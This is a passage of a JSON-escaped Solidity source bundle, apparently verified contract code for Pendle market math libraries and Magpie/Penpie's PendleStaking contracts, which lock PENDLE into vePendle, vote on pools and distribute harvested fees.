(MiniHelpers.isExpired(market.expiry, blockTime)) revert Errors.MarketExpired();\n if (market.totalPt <= netPtToAccount)\n revert Errors.MarketInsufficientPtForTrade(market.totalPt, netPtToAccount);\n\n /// ------------------------------------------------------------\n /// MATH\n /// ------------------------------------------------------------\n MarketPreCompute memory comp = getMarketPreCompute(market, index, blockTime);\n\n (netSyToAccount, netSyFee, netSyToReserve) = calcTrade(\n market,\n comp,\n index,\n netPtToAccount\n );\n\n /// ------------------------------------------------------------\n /// WRITE\n /// ------------------------------------------------------------\n _setNewMarketStateTrade(\n market,\n comp,\n index,\n netPtToAccount,\n netSyToAccount,\n netSyToReserve,\n blockTime\n );\n }\n\n function getMarketPreCompute(\n MarketState memory market,\n PYIndex index,\n uint256 blockTime\n ) internal pure returns (MarketPreCompute memory res) {\n if (MiniHelpers.isExpired(market.expiry, blockTime)) revert Errors.MarketExpired();\n\n uint256 timeToExpiry = market.expiry - blockTime;\n\n res.rateScalar = _getRateScalar(market, timeToExpiry);\n res.totalAsset = index.syToAsset(market.totalSy);\n\n if (market.totalPt == 0 || res.totalAsset == 0)\n revert Errors.MarketZeroTotalPtOrTotalAsset(market.totalPt, res.totalAsset);\n\n res.rateAnchor = _getRateAnchor(\n market.totalPt,\n market.lastLnImpliedRate,\n res.totalAsset,\n res.rateScalar,\n timeToExpiry\n );\n res.feeRate = _getExchangeRateFromImpliedRate(market.lnFeeRateRoot, timeToExpiry);\n }\n\n function calcTrade(\n MarketState memory market,\n MarketPreCompute memory comp,\n PYIndex index,\n int256 netPtToAccount\n ) internal pure returns (int256 netSyToAccount, int256 netSyFee, int256 netSyToReserve) {\n int256 preFeeExchangeRate = _getExchangeRate(\n market.totalPt,\n comp.totalAsset,\n comp.rateScalar,\n comp.rateAnchor,\n netPtToAccount\n );\n\n int256 preFeeAssetToAccount = netPtToAccount.divDown(preFeeExchangeRate).neg();\n int256 fee = comp.feeRate;\n\n if (netPtToAccount > 0) {\n int256 postFeeExchangeRate = preFeeExchangeRate.divDown(fee);\n if (postFeeExchangeRate < Math.IONE)\n revert Errors.MarketExchangeRateBelowOne(postFeeExchangeRate);\n\n fee = preFeeAssetToAccount.mulDown(Math.IONE - fee);\n } else {\n fee = ((preFeeAssetToAccount * (Math.IONE - fee)) / fee).neg();\n }\n\n int256 netAssetToReserve = (fee * market.reserveFeePercent.Int()) / PERCENTAGE_DECIMALS;\n int256 netAssetToAccount = preFeeAssetToAccount - fee;\n\n netSyToAccount = netAssetToAccount < 0\n ? index.assetToSyUp(netAssetToAccount)\n : index.assetToSy(netAssetToAccount);\n netSyFee = index.assetToSy(fee);\n netSyToReserve = index.assetToSy(netAssetToReserve);\n }\n\n function _setNewMarketStateTrade(\n MarketState memory market,\n MarketPreCompute memory comp,\n PYIndex index,\n int256 netPtToAccount,\n int256 netSyToAccount,\n int256 netSyToReserve,\n uint256 blockTime\n ) internal pure {\n uint256 timeToExpiry = market.expiry - blockTime;\n\n market.totalPt = market.totalPt.subNoNeg(netPtToAccount);\n market.totalSy = market.totalSy.subNoNeg(netSyToAccount + netSyToReserve);\n\n market.lastLnImpliedRate = _getLnImpliedRate(\n market.totalPt,\n index.syToAsset(market.totalSy),\n comp.rateScalar,\n comp.rateAnchor,\n timeToExpiry\n );\n\n if (market.lastLnImpliedRate == 0) revert Errors.MarketZeroLnImpliedRate();\n }\n\n function _getRateAnchor(\n int256 totalPt,\n uint256 lastLnImpliedRate,\n int256 totalAsset,\n int256 rateScalar,\n uint256 timeToExpiry\n ) internal pure returns (int256 rateAnchor) {\n int256 newExchangeRate = _getExchangeRateFromImpliedRate(lastLnImpliedRate, timeToExpiry);\n\n if (newExchangeRate < Math.IONE) revert Errors.MarketExchangeRateBelowOne(newExchangeRate);\n\n {\n int256 proportion = totalPt.divDown(totalPt + totalAsset);\n\n int256 lnProportion = _logProportion(proportion);\n\n rateAnchor = newExchangeRate - lnProportion.divDown(rateScalar);\n }\n }\n\n /// @notice Calculates the current market implied rate.\n /// @return lnImpliedRate the implied rate\n function _getLnImpliedRate(\n int256 totalPt,\n int256 totalAsset,\n int256 rateScalar,\n int256 rateAnchor,\n uint256 timeToExpiry\n ) internal pure returns (uint256 lnImpliedRate) {\n // This will check for exchange rates < Math.IONE\n int256 exchangeRate = _getExchangeRate(totalPt, totalAsset, rateScalar, rateAnchor, 0);\n\n // exchangeRate >= 1 so its ln >= 0\n uint256 lnRate = exchangeRate.ln().Uint();\n\n lnImpliedRate = (lnRate * IMPLIED_RATE_TIME) / timeToExpiry;\n }\n\n /// @notice Converts an implied rate to an exchange rate given a time to expiry. The\n /// formula is E = e^rt\n function _getExchangeRateFromImpliedRate(\n uint256 lnImpliedRate,\n uint256 timeToExpiry\n ) internal pure returns (int256 exchangeRate) {\n uint256 rt = (lnImpliedRate * timeToExpiry) / IMPLIED_RATE_TIME;\n\n exchangeRate = LogExpMath.exp(rt.Int());\n }\n\n function _getExchangeRate(\n int256 totalPt,\n int256 totalAsset,\n int256 rateScalar,\n int256 rateAnchor,\n int256 netPtToAccount\n ) internal pure returns (int256 exchangeRate) {\n int256 numerator = totalPt.subNoNeg(netPtToAccount);\n\n int256 proportion = (numerator.divDown(totalPt + totalAsset));\n\n if (proportion > MAX_MARKET_PROPORTION)\n revert Errors.MarketProportionTooHigh(proportion, MAX_MARKET_PROPORTION);\n\n int256 lnProportion = _logProportion(proportion);\n\n exchangeRate = lnProportion.divDown(rateScalar) + rateAnchor;\n\n if (exchangeRate < Math.IONE) revert Errors.MarketExchangeRateBelowOne(exchangeRate);\n }\n\n function _logProportion(int256 proportion) internal pure returns (int256 res) {\n if (proportion == Math.IONE) revert Errors.MarketProportionMustNotEqualOne();\n\n int256 logitP = proportion.divDown(Math.IONE - proportion);\n\n res = logitP.ln();\n }\n\n function _getRateScalar(\n MarketState memory market,\n uint256 timeToExpiry\n ) internal pure returns (int256 rateScalar) {\n rateScalar = (market.scalarRoot * IMPLIED_RATE_TIME.Int()) / timeToExpiry.Int();\n if (rateScalar <= 0) revert Errors.MarketRateScalarBelowZero(rateScalar);\n }\n\n function setInitialLnImpliedRate(\n MarketState memory market,\n PYIndex index,\n int256 initialAnchor,\n uint256 blockTime\n ) internal pure {\n /// ------------------------------------------------------------\n /// CHECKS\n /// ------------------------------------------------------------\n if (MiniHelpers.isExpired(market.expiry, blockTime)) revert Errors.MarketExpired();\n\n /// ------------------------------------------------------------\n /// MATH\n /// ------------------------------------------------------------\n int256 totalAsset = index.syToAsset(market.totalSy);\n uint256 timeToExpiry = market.expiry - blockTime;\n int256 rateScalar = _getRateScalar(market, timeToExpiry);\n\n /// ------------------------------------------------------------\n /// WRITE\n /// ------------------------------------------------------------\n market.lastLnImpliedRate = _getLnImpliedRate(\n market.totalPt,\n totalAsset,\n rateScalar,\n initialAnchor,\n timeToExpiry\n );\n }\n}\n"
},
"contracts/libraries/math/Math.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n// GNU General Public License for more details.\n\n// You should have received a copy of the GNU General Public License\n// along with this program. If not, see <http://www.gnu.org/licenses/>.\n\npragma solidity 0.8.19;\n\n/* solhint-disable private-vars-leading-underscore, reason-string */\n\nlibrary Math {\n uint256 internal constant ONE = 1e18; // 18 decimal places\n int256 internal constant IONE = 1e18; // 18 decimal places\n\n function subMax0(uint256 a, uint256 b) internal pure returns (uint256) {\n unchecked {\n return (a >= b ? a - b : 0);\n }\n }\n\n function subNoNeg(int256 a, int256 b) internal pure returns (int256) {\n require(a >= b, \"negative\");\n return a - b; // no unchecked since if b is very negative, a - b might overflow\n }\n\n function mulDown(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 product = a * b;\n unchecked {\n return product / ONE;\n }\n }\n\n function mulDown(int256 a, int256 b) internal pure returns (int256) {\n int256 product = a * b;\n unchecked {\n return product / IONE;\n }\n }\n\n function divDown(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 aInflated = a * ONE;\n unchecked {\n return aInflated / b;\n }\n }\n\n function divDown(int256 a, int256 b) internal pure returns (int256) {\n int256 aInflated = a * IONE;\n unchecked {\n return aInflated / b;\n }\n }\n\n function rawDivUp(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a + b - 1) / b;\n }\n\n // @author Uniswap\n function sqrt(uint256 y) internal pure returns (uint256 z) {\n if (y > 3) {\n z = y;\n uint256 x = y / 2 + 1;\n while (x < z) {\n z = x;\n x = (y / x + x) / 2;\n }\n } else if (y != 0) {\n z = 1;\n }\n }\n\n function abs(int256 x) internal pure returns (uint256) {\n return uint256(x > 0 ? x : -x);\n }\n\n function neg(int256 x) internal pure returns (int256) {\n return x * (-1);\n }\n\n function neg(uint256 x) internal pure returns (int256) {\n return Int(x) * (-1);\n }\n\n function max(uint256 x, uint256 y) internal pure returns (uint256) {\n return (x > y ? x : y);\n }\n\n function max(int256 x, int256 y) internal pure returns (int256) {\n return (x > y ? x : y);\n }\n\n function min(uint256 x, uint256 y) internal pure returns (uint256) {\n return (x < y ? x : y);\n }\n\n function min(int256 x, int256 y) internal pure returns (int256) {\n return (x < y ? x : y);\n }\n\n /*///////////////////////////////////////////////////////////////\n SIGNED CASTS\n //////////////////////////////////////////////////////////////*/\n\n function Int(uint256 x) internal pure returns (int256) {\n require(x <= uint256(type(int256).max));\n return int256(x);\n }\n\n function Int128(int256 x) internal pure returns (int128) {\n require(type(int128).min <= x && x <= type(int128).max);\n return int128(x);\n }\n\n function Int128(uint256 x) internal pure returns (int128) {\n return Int128(Int(x));\n }\n\n /*///////////////////////////////////////////////////////////////\n UNSIGNED CASTS\n //////////////////////////////////////////////////////////////*/\n\n function Uint(int256 x) internal pure returns (uint256) {\n require(x >= 0);\n return uint256(x);\n }\n\n function Uint32(uint256 x) internal pure returns (uint32) {\n require(x <= type(uint32).max);\n return uint32(x);\n }\n\n function Uint112(uint256 x) internal pure returns (uint112) {\n require(x <= type(uint112).max);\n return uint112(x);\n }\n\n function Uint96(uint256 x) internal pure returns (uint96) {\n require(x <= type(uint96).max);\n return uint96(x);\n }\n\n function Uint128(uint256 x) internal pure returns (uint128) {\n require(x <= type(uint128).max);\n return uint128(x);\n }\n\n function isAApproxB(uint256 a, uint256 b, uint256 eps) internal pure returns (bool) {\n return mulDown(b, ONE - eps) <= a && a <= mulDown(b, ONE + eps);\n }\n\n function isAGreaterApproxB(uint256 a, uint256 b, uint256 eps) internal pure returns (bool) {\n return a >= b && a <= mulDown(b, ONE + eps);\n }\n\n function isASmallerApproxB(uint256 a, uint256 b, uint256 eps) internal pure returns (bool) {\n return a <= b && a >= mulDown(b, ONE - eps);\n }\n}\n"
},
"contracts/libraries/MiniHelpers.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nlibrary MiniHelpers {\n function isCurrentlyExpired(uint256 expiry) internal view returns (bool) {\n return (expiry <= block.timestamp);\n }\n\n function isExpired(uint256 expiry, uint256 blockTime) internal pure returns (bool) {\n return (expiry <= blockTime);\n }\n\n function isTimeInThePast(uint256 timestamp) internal view returns (bool) {\n return (timestamp <= block.timestamp); // same definition as isCurrentlyExpired\n }\n}\n"
},
"contracts/libraries/MintableERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/ERC20.sol)\npragma solidity ^0.8.0;\n\nimport { ERC20 } from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport { Ownable } from \"@openzeppelin/contracts/access/Ownable.sol\";\n\ncontract MintableERC20 is ERC20, Ownable {\n /*\n The ERC20 deployed will be owned by the others contracts of the protocol, specifically by\n MasterMagpie and WombatStaking, forbidding the misuse of these functions for nefarious purposes\n */\n constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {} \n\n function mint(address account, uint256 amount) external virtual onlyOwner {\n _mint(account, amount);\n }\n\n function burn(address account, uint256 amount) external virtual onlyOwner {\n _burn(account, amount);\n }\n}"
},
"contracts/libraries/PYIndex.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport \"../interfaces/pendle/IPYieldToken.sol\";\nimport \"../interfaces/pendle/IPPrincipalToken.sol\";\n\nimport \"./SYUtils.sol\";\nimport \"./math/Math.sol\";\n\ntype PYIndex is uint256;\n\nlibrary PYIndexLib {\n using Math for uint256;\n using Math for int256;\n\n function newIndex(IPYieldToken YT) internal returns (PYIndex) {\n return PYIndex.wrap(YT.pyIndexCurrent());\n }\n\n function syToAsset(PYIndex index, uint256 syAmount) internal pure returns (uint256) {\n return SYUtils.syToAsset(PYIndex.unwrap(index), syAmount);\n }\n\n function assetToSy(PYIndex index, uint256 assetAmount) internal pure returns (uint256) {\n return SYUtils.assetToSy(PYIndex.unwrap(index), assetAmount);\n }\n\n function assetToSyUp(PYIndex index, uint256 assetAmount) internal pure returns (uint256) {\n return SYUtils.assetToSyUp(PYIndex.unwrap(index), assetAmount);\n }\n\n function syToAssetUp(PYIndex index, uint256 syAmount) internal pure returns (uint256) {\n uint256 _index = PYIndex.unwrap(index);\n return SYUtils.syToAssetUp(_index, syAmount);\n }\n\n function syToAsset(PYIndex index, int256 syAmount) internal pure returns (int256) {\n int256 sign = syAmount < 0 ? int256(-1) : int256(1);\n return sign * (SYUtils.syToAsset(PYIndex.unwrap(index), syAmount.abs())).Int();\n }\n\n function assetToSy(PYIndex index, int256 assetAmount) internal pure returns (int256) {\n int256 sign = assetAmount < 0 ? int256(-1) : int256(1);\n return sign * (SYUtils.assetToSy(PYIndex.unwrap(index), assetAmount.abs())).Int();\n }\n\n function assetToSyUp(PYIndex index, int256 assetAmount) internal pure returns (int256) {\n int256 sign = assetAmount < 0 ? int256(-1) : int256(1);\n return sign * (SYUtils.assetToSyUp(PYIndex.unwrap(index), assetAmount.abs())).Int();\n }\n}\n"
},
"contracts/libraries/SYUtils.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nlibrary SYUtils {\n uint256 internal constant ONE = 1e18;\n\n function syToAsset(uint256 exchangeRate, uint256 syAmount) internal pure returns (uint256) {\n return (syAmount * exchangeRate) / ONE;\n }\n\n function syToAssetUp(uint256 exchangeRate, uint256 syAmount) internal pure returns (uint256) {\n return (syAmount * exchangeRate + ONE - 1) / ONE;\n }\n\n function assetToSy(uint256 exchangeRate, uint256 assetAmount) internal pure returns (uint256) {\n return (assetAmount * ONE) / exchangeRate;\n }\n\n function assetToSyUp(\n uint256 exchangeRate,\n uint256 assetAmount\n ) internal pure returns (uint256) {\n return (assetAmount * ONE + exchangeRate - 1) / exchangeRate;\n }\n}\n"
},
"contracts/libraries/TokenHelper.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport \"../interfaces/IWETH.sol\";\n\nabstract contract TokenHelper {\n using SafeERC20 for IERC20;\n address internal constant NATIVE = address(0);\n uint256 internal constant LOWER_BOUND_APPROVAL = type(uint96).max / 2; // some tokens use 96 bits for approval\n\n function _transferIn(address token, address from, uint256 amount) internal {\n if (token == NATIVE) require(msg.value == amount, \"eth mismatch\");\n else if (amount != 0) IERC20(token).safeTransferFrom(from, address(this), amount);\n }\n\n function _transferFrom(IERC20 token, address from, address to, uint256 amount) internal {\n if (amount != 0) token.safeTransferFrom(from, to, amount);\n }\n\n function _transferOut(address token, address to, uint256 amount) internal {\n if (amount == 0) return;\n if (token == NATIVE) {\n (bool success, ) = to.call{ value: amount }(\"\");\n require(success, \"eth send failed\");\n } else {\n IERC20(token).safeTransfer(to, amount);\n }\n }\n\n function _transferOut(address[] memory tokens, address to, uint256[] memory amounts) internal {\n uint256 numTokens = tokens.length;\n require(numTokens == amounts.length, \"length mismatch\");\n for (uint256 i = 0; i < numTokens; ) {\n _transferOut(tokens[i], to, amounts[i]);\n unchecked {\n i++;\n }\n }\n }\n\n function _selfBalance(address token) internal view returns (uint256) {\n return (token == NATIVE) ? address(this).balance : IERC20(token).balanceOf(address(this));\n }\n\n function _selfBalance(IERC20 token) internal view returns (uint256) {\n return token.balanceOf(address(this));\n }\n\n /// @notice Approves the stipulated contract to spend the given allowance in the given token\n /// @dev PLS PAY ATTENTION to tokens that requires the approval to be set to 0 before changing it\n function _safeApprove(address token, address to, uint256 value) internal {\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(IERC20.approve.selector, to, value)\n );\n require(success && (data.length == 0 || abi.decode(data, (bool))), \"Safe Approve\");\n }\n\n function _safeApproveInf(address token, address to) internal {\n if (token == NATIVE) return;\n if (IERC20(token).allowance(address(this), to) < LOWER_BOUND_APPROVAL) {\n _safeApprove(token, to, 0);\n _safeApprove(token, to, type(uint256).max);\n }\n }\n\n function _wrap_unwrap_ETH(address tokenIn, address tokenOut, uint256 netTokenIn) internal {\n if (tokenIn == NATIVE) IWETH(tokenOut).deposit{ value: netTokenIn }();\n else IWETH(tokenIn).withdraw(netTokenIn);\n }\n}\n"
},
"contracts/libraries/VeBalanceLib.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\npragma solidity 0.8.19;\n\nimport \"./math/Math.sol\";\nimport \"./Errors.sol\";\n\nstruct VeBalance {\n uint128 bias;\n uint128 slope;\n}\n\nstruct LockedPosition {\n uint128 amount;\n uint128 expiry;\n}\n\nlibrary VeBalanceLib {\n using Math for uint256;\n uint128 internal constant MAX_LOCK_TIME = 104 weeks;\n uint256 internal constant USER_VOTE_MAX_WEIGHT = 10 ** 18;\n\n function add(\n VeBalance memory a,\n VeBalance memory b\n ) internal pure returns (VeBalance memory res) {\n res.bias = a.bias + b.bias;\n res.slope = a.slope + b.slope;\n }\n\n function sub(\n VeBalance memory a,\n VeBalance memory b\n ) internal pure returns (VeBalance memory res) {\n res.bias = a.bias - b.bias;\n res.slope = a.slope - b.slope;\n }\n\n function sub(\n VeBalance memory a,\n uint128 slope,\n uint128 expiry\n ) internal pure returns (VeBalance memory res) {\n res.slope = a.slope - slope;\n res.bias = a.bias - slope * expiry;\n }\n\n function isExpired(VeBalance memory a) internal view returns (bool) {\n return a.slope * uint128(block.timestamp) >= a.bias;\n }\n\n function getCurrentValue(VeBalance memory a) internal view returns (uint128) {\n if (isExpired(a)) return 0;\n return getValueAt(a, uint128(block.timestamp));\n }\n\n function getValueAt(VeBalance memory a, uint128 t) internal pure returns (uint128) {\n if (a.slope * t > a.bias) {\n return 0;\n }\n return a.bias - a.slope * t;\n }\n\n function getExpiry(VeBalance memory a) internal pure returns (uint128) {\n if (a.slope == 0) revert Errors.VEZeroSlope(a.bias, a.slope);\n return a.bias / a.slope;\n }\n\n function convertToVeBalance(\n LockedPosition memory position\n ) internal pure returns (VeBalance memory res) {\n res.slope = position.amount / MAX_LOCK_TIME;\n res.bias = res.slope * position.expiry;\n }\n\n function convertToVeBalance(\n LockedPosition memory position,\n uint256 weight\n ) internal pure returns (VeBalance memory res) {\n res.slope = ((position.amount * weight) / MAX_LOCK_TIME / USER_VOTE_MAX_WEIGHT).Uint128();\n res.bias = res.slope * position.expiry;\n }\n\n function convertToVeBalance(\n uint128 amount,\n uint128 expiry\n ) internal pure returns (uint128, uint128) {\n VeBalance memory balance = convertToVeBalance(LockedPosition(amount, expiry));\n return (balance.bias, balance.slope);\n }\n}\n"
},
"contracts/libraries/VeHistoryLib.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n// Forked from OpenZeppelin (v4.5.0) (utils/Checkpoints.sol)\npragma solidity ^0.8.19;\n\nimport \"./math/Math.sol\";\nimport \"./VeBalanceLib.sol\";\nimport \"./WeekMath.sol\";\n\nstruct Checkpoint {\n uint128 timestamp;\n VeBalance value;\n}\n\nlibrary CheckpointHelper {\n function assignWith(Checkpoint memory a, Checkpoint memory b) internal pure {\n a.timestamp = b.timestamp;\n a.value = b.value;\n }\n}\n\nlibrary Checkpoints {\n struct History {\n Checkpoint[] _checkpoints;\n }\n\n function length(History storage self) internal view returns (uint256) {\n return self._checkpoints.length;\n }\n\n function get(History storage self, uint256 index) internal view returns (Checkpoint memory) {\n return self._checkpoints[index];\n }\n\n function push(History storage self, VeBalance memory value) internal {\n uint256 pos = self._checkpoints.length;\n if (pos > 0 && self._checkpoints[pos - 1].timestamp == WeekMath.getCurrentWeekStart()) {\n self._checkpoints[pos - 1].value = value;\n } else {\n self._checkpoints.push(\n Checkpoint({ timestamp: WeekMath.getCurrentWeekStart(), value: value })\n );\n }\n }\n}\n"
},
"contracts/libraries/WeekMath.sol": {
"content": "// SPDX-License-Identifier: GPL-3.0-or-later\n\npragma solidity 0.8.19;\n\nlibrary WeekMath {\n uint128 internal constant WEEK = 7 days;\n\n function getWeekStartTimestamp(uint128 timestamp) internal pure returns (uint128) {\n return (timestamp / WEEK) * WEEK;\n }\n\n function getCurrentWeekStart() internal view returns (uint128) {\n return getWeekStartTimestamp(uint128(block.timestamp));\n }\n\n function isValidWTime(uint256 time) internal pure returns (bool) {\n return time % WEEK == 0;\n }\n}\n"
},
"contracts/pendle/PendleStaking.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\npragma abicoder v2;\n\nimport { IERC20, ERC20 } from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport { SafeERC20 } from \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\n\nimport { PendleStakingBaseUpg } from \"./PendleStakingBaseUpg.sol\";\nimport { IPVotingEscrowMainchain } from \"../interfaces/pendle/IPVotingEscrowMainchain.sol\";\nimport { IPFeeDistributorV2 } from \"../interfaces/pendle/IPFeeDistributorV2.sol\";\nimport { IPVoteController } from \"../interfaces/pendle/IPVoteController.sol\";\n\nimport \"../interfaces/IConvertor.sol\";\nimport \"../libraries/ERC20FactoryLib.sol\";\nimport \"../libraries/WeekMath.sol\";\n\n/// @title PendleStaking\n/// @notice PendleStaking is the main contract that holds vePendle position on behalf on user to get boosted yield and vote.\n/// PendleStaking is the main contract interacting with Pendle Finance side\n/// @author Magpie Team\n\ncontract PendleStaking is PendleStakingBaseUpg {\n using SafeERC20 for IERC20;\n\n uint256 public lockPeriod;\n\n /* ============ Events ============ */\n event SetLockDays(uint256 _oldLockDays, uint256 _newLockDays);\n\n constructor() {_disableInitializers();}\n\n function __PendleStaking_init(\n address _pendle,\n address _WETH,\n address _vePendle,\n address _distributorETH,\n address _pendleRouter,\n address _masterPenpie\n ) public initializer {\n __PendleStakingBaseUpg_init(\n _pendle,\n _WETH,\n _vePendle,\n _distributorETH,\n _pendleRouter,\n _masterPenpie\n );\n lockPeriod = 720 * 86400;\n }\n\n /// @notice get the penpie claimable revenue share in ETH\n function totalUnclaimedETH() external view returns (uint256) {\n return distributorETH.getProtocolTotalAccrued(address(this));\n }\n\n /* ============ VePendle Related Functions ============ */\n\n function vote(\n address[] calldata _pools,\n uint64[] calldata _weights\n ) external override {\n if (msg.sender != voteManager) revert OnlyVoteManager();\n if (_pools.length != _weights.length) revert LengthMismatch();\n\n IPVoteController(pendleVote).vote(_pools, _weights);\n }\n\n function bootstrapVePendle(uint256[] calldata chainId) payable external onlyOwner returns( uint256 ) {\n uint256 amount = IERC20(PENDLE).balanceOf(address(this));\n IERC20(PENDLE).safeApprove(address(vePendle), amount);\n uint128 lockTime = _getIncreaseLockTime();\n return IPVotingEscrowMainchain(vePendle).increaseLockPositionAndBroadcast{value:msg.value}(uint128(amount), lockTime, chainId);\n }\n\n /// @notice convert PENDLE to mPendle\n /// @param _amount the number of Pendle to convert\n /// @dev the Pendle must already be in the contract\n function convertPendle(\n uint256 _amount,\n uint256[] calldata chainId\n ) public payable override whenNotPaused returns (uint256) {\n uint256 preVePendleAmount = accumulatedVePendle();\n if (_amount == 0) revert ZeroNotAllowed();\n\n IERC20(PENDLE).safeTransferFrom(msg.sender, address(this), _amount);\n IERC20(PENDLE).safeApprove(address(vePendle), _amount);\n\n uint128 unlockTime = _getIncreaseLockTime();\n IPVotingEscrowMainchain(vePendle).increaseLockPositionAndBroadcast{value:msg.value}(uint128(_amount), unlockTime, chainId);\n\n uint256 mintedVePendleAmount = accumulatedVePendle() -\n preVePendleAmount;\n emit PendleLocked(_amount, lockPeriod, mintedVePendleAmount);\n\n return mintedVePendleAmount;\n }\n\n function increaseLockTime(uint256 _unlockTime) external {\n uint128 unlockTime = WeekMath.getWeekStartTimestamp(\n uint128(block.timestamp + _unlockTime)\n );\n IPVotingEscrowMainchain(vePendle).increaseLockPosition(0, unlockTime);\n }\n\n function harvestVePendleReward(address[] calldata _pools) external {\n if (this.totalUnclaimedETH() == 0) {\n revert NoVePendleReward();\n }\n\n if (\n (protocolFee != 0 && feeCollector == address(0)) ||\n bribeManagerEOA == address(0)\n ) revert InvalidFeeDestination();\n\n (uint256 totalAmountOut, uint256[] memory amountsOut) = distributorETH\n .claimProtocol(address(this), _pools);\n // for protocol\n uint256 fee = (totalAmountOut * protocolFee) / DENOMINATOR;\n IERC20(WETH).safeTransfer(feeCollector, fee);\n\n // for caller\n uint256 callerFeeAmount = (totalAmountOut * vePendleHarvestCallerFee) /\n DENOMINATOR;\n IERC20(WETH).safeTransfer(msg.sender, callerFeeAmount);\n\n uint256 left = totalAmountOut - fee - callerFeeAmount;\n IERC20(WETH).safeTransfer(bribeManagerEOA, left);\n\n emit VePendleHarvested(\n totalAmountOut,\n _pools,\n amountsOut,\n fee,\n callerFeeAmount,\n left\n );\n }\n\n /* ============ Admin Functions ============ */\n\n function setLockDays(uint256 _newLockPeriod) external onlyOwner {\n uint256 oldLockPeriod = lockPeriod;\n lockPeriod = _newLockPeriod;\n\n emit SetLockDays(oldLockPeriod, lockPeriod);\n }\n\n /* ============ Internal Functions ============ */\n\n function _getIncreaseLockTime() internal view returns (uint128) {\n return\n WeekMath.getWeekStartTimestamp(\n uint128(block.timestamp + lockPeriod)\n );\n }\n}\n"
},
"contracts/pendle/PendleStakingBaseUpg.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity =0.8.19;\npragma abicoder v2;\n\nimport { IERC20, ERC20 } from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport { SafeERC20 } from \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\nimport { OwnableUpgradeable } from \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\nimport { Initializable } from \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\nimport { ReentrancyGuardUpgradeable } from \"@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol\";\nimport { PausableUpgradeable } from \"@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol\";\n\nimport { IPendleMarketDepositHelper } from \"../interfaces/pendle/IPendleMarketDepositHelper.sol\";\nimport { IPVotingEscrowMainchain } from \"../interfaces/pendle/IPVotingEscrowMainchain.sol\";\nimport { IPFeeDistributorV2 } from \"../interfaces/pendle/IPFeeDistributorV2.sol\";\nimport { IPVoteController } from \"../interfaces/pendle/IPVoteController.sol\";\nimport { IPendleRouter } from \"../interfaces/pendle/IPendleRouter.sol\";\nimport { IMasterPenpie } from \"../interfaces/IMasterPenpie.sol\";\nimport { IETHZapper } from \"../interfaces/IETHZapper.sol\";\n\nimport \"../interfaces/ISmartPendleConvert.sol\";\nimport \"../interfaces/IBaseRewardPool.sol\";\nimport \"../interfaces/IMintableERC20.sol\";\nimport \"../interfaces/IWETH.sol\";\nimport \"../interfaces/IPendleStaking.sol\";\nimport \"../interfaces/pendle/IPendleMarket.sol\";\nimport \"../interfaces/IPenpieBribeManager.sol\";\n\nimport \"../interfaces/IConvertor.sol\";\nimport \"../libraries/ERC20FactoryLib.sol\";\nimport \"../libraries/WeekMath.sol\";\n\n/// @title PendleStakingBaseUpg\n/// @notice PendleStaking is the main contract that holds vePendle position on behalf on user to get boosted yield and vote.\n/// PendleStaking is the main contract interacting with Pendle Finance side\n/// @author Magpie Team\n\nabstract contract PendleStakingBaseUpg is\n Initializable,\n OwnableUpgradeable,\n ReentrancyGuardUpgradeable,\n PausableUpgradeable,\n IPendleStaking\n{\n using SafeERC20 for IERC20;\n\n /* ============ Structs ============ */\n\n struct Pool {\n address market;\n address rewarder;\n address helper;\n address receiptToken;\n uint256 lastHarvestTime;\n bool isActive;\n }\n\n struct Fees {\n uint256 value; // allocation denominated by DENOMINATOR\n address to;\n bool isMPENDLE;\n bool isAddress;\n bool isActive;\n }\n\n /* ============ State Variables ============ */\n // Addresses\n address public PENDLE;\n address public WETH;\n address public mPendleConvertor;\n address public mPendleOFT;\n address public marketDepositHelper;\n address public masterPenpie;\n address public voteManager;\n uint256 public harvestTimeGap;\n\n address internal constant NATIVE = address(0);\n\n //Pendle Finance addresses\n IPVotingEscrowMainchain public vePendle;\n IPFeeDistributorV2 public distributorETH;\n IPVoteController public pendleVote;\n IPendleRouter public pendleRouter;\n\n mapping(address => Pool) public pools;\n address[] public poolTokenList;\n\n // Lp Fees\n uint256 constant DENOMINATOR = 10000;\n uint256 public totalPendleFee; // total fee percentage for PENDLE reward\n Fees[] public pendleFeeInfos; // infor of fee and destination\n uint256 public autoBribeFee; // fee for any reward other than PENDLE\n\n // vePendle Fees\n uint256 public vePendleHarvestCallerFee;\n uint256 public protocolFee; // fee charged by penpie team for operation\n address public feeCollector; // penpie team fee destination\n address public bribeManagerEOA; // An EOA address to later user vePendle harvested 